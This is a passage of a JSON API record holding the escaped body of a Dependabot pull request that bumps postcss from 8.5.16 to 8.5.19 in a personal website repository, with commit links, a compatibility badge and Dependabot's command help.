href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.16\u0026new-version=8.5.19)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AdrianJunge/adrianjunge.de/pull/82","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AdrianJunge%2Fadrianjunge.de/issues/82","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/82/packages"}}]}